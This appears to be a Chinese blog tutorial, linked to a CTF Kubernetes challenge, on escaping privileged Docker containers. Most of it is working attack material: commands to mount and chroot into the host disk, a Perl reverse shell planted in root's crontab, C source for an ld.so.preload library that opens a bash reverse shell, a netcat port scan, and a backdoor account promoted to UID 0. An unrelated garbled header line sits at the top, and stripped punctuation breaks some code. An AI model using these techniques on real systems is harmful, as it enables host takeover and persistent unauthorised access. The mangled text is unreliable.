网站制作的总结与体会,开发商城网站,网站开发技术代码,论坛推广案例文章目录 前言privileged,特权容器逃逸环境配置实际利用实际环境利用计划任务/var/spool/cron/crontabs/ 适用于ubuntu debain/var/spool/cron 适用于centos ld.so.preloadssh 前言
在10.15号的上海中华武数杯的渗透赛里做到了一个k8s的题目#xff0c;这应该是我第一次在比赛… 文章目录 前言privileged,特权容器逃逸环境配置实际利用实际环境利用计划任务/var/spool/cron/crontabs/ 适用于ubuntu debain/var/spool/cron 适用于centos ld.so.preloadssh 前言
在10.15号的上海中华武数杯的渗透赛里做到了一个k8s的题目这应该是我第一次在比赛里面实际做到云安全的题目之前可能也有记不清了。但可能并不是很多人都了解云安全这里我就简单在博客里面分享一点云安全的知识从容器逃逸到k8s攻防有兴趣的可以关注一下。
privileged,特权容器逃逸
这是云安全的第一章那么自然要从特权容器开始。如果你不会使用docker也没有办法我后面会简单介绍一下参数的含义 特权容器在实战里面可能也会遇到因为一些特殊的业务需求或者配置不当导致容器可能被赋予了特权模式如果这里容器用的是普通的runc容器非安全容器那么存在逃逸的风险。
环境配置
docker run -it --privileged ubuntu:18.04–privileged 以特权模式运行容器
-it -i interactive 代表交互 -t --tty 这两个一起使用就代表我们直接进入到容器的交互终端里如果不需要交互可以使用-d 代表后台运行
具体可以运行docker run --help去查看解释
实际利用
上面就代表我们的docker启动好了由于是第一章这里也介绍一下实战里我们怎么判断获取的shell到底是主机还是容器
cat /proc/1/cgroup可以看到有docker字眼 那我们就可以判断出来 环境是docker 后面就可以开始进行特权容器的逃逸
实际环境利用
如果查看到CapEff为0000003fffffffff代表为特权容器可以逃逸
cat /proc/1/status|grep CapEff
CapEff: 0000003fffffffff逃逸方法挂载宿主机根目录
fdisk -l|grep Linux
mkdir /host
mount /dev/vda1 /host
chroot /host这个时候只是文件系统层面逃逸还没有彻底逃逸,需要用到接下来的方法
计划任务
/var/spool/cron/crontabs/ 适用于ubuntu debain
ls -la /var/spool/cron/crontabs如果目录存在代表我们可以写一个crontab
echo $*/1 * * * * perl -e \use Socket;$i127.0.0.1;$p8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};\ /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root然后就是彻底逃逸了
/var/spool/cron 适用于centos
ls -la /var/spool/cron/如果目录存在代表我们可以写一个crontab
echo $*/1 * * * * perl -e \use Socket;$i127.0.0.1;$p8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};\ /var/spool/cron/root
chmod 600 /var/spool/cron/rootld.so.preload
#include unistd.h
#include stdlib.h
#include stdio.h
#include arpa/inet.h
int tcp_port 8080;
char *ip 127.0.0.1;
__attribute__((destructor)) void test(){remove(/etc/ld.so.preload);int pid;if((pidfork())0){int fd;struct sockaddr_in addr;addr.sin_family AF_INET;addr.sin_port htons(tcp_port);addr.sin_addr.s_addr inet_addr(ip);fd socket(AF_INET, SOCK_STREAM, 0);connect(fd, (struct sockaddr*)addr, sizeof(addr));dup2(fd, 0);dup2(fd, 1);dup2(fd, 2);system(/bin/bash);}
}gcc evil.c --shared -fPIC -o evil.so上传evil.so到/tmp
echo /tmp/evil.so /etc/ld.so.preload然后下次系统会自动load这个so,并且可以实现无感知注入,达到逃逸,不过这种注入还是需要类似有运维操作才可以触发或者说有新进程创建
ssh
当文件系统逃逸到宿主机上可以做端口扫描
nc -nvz -w2 172.17.0.1 1-65535 21|grep succeeded如果发现宿主机开放了ssh服务那我们可以直接ssh登陆到宿主机上实现逃逸 直接adduser
adduser test
passwd test同时可以修改/etc/passwd 把test uid改为0变成root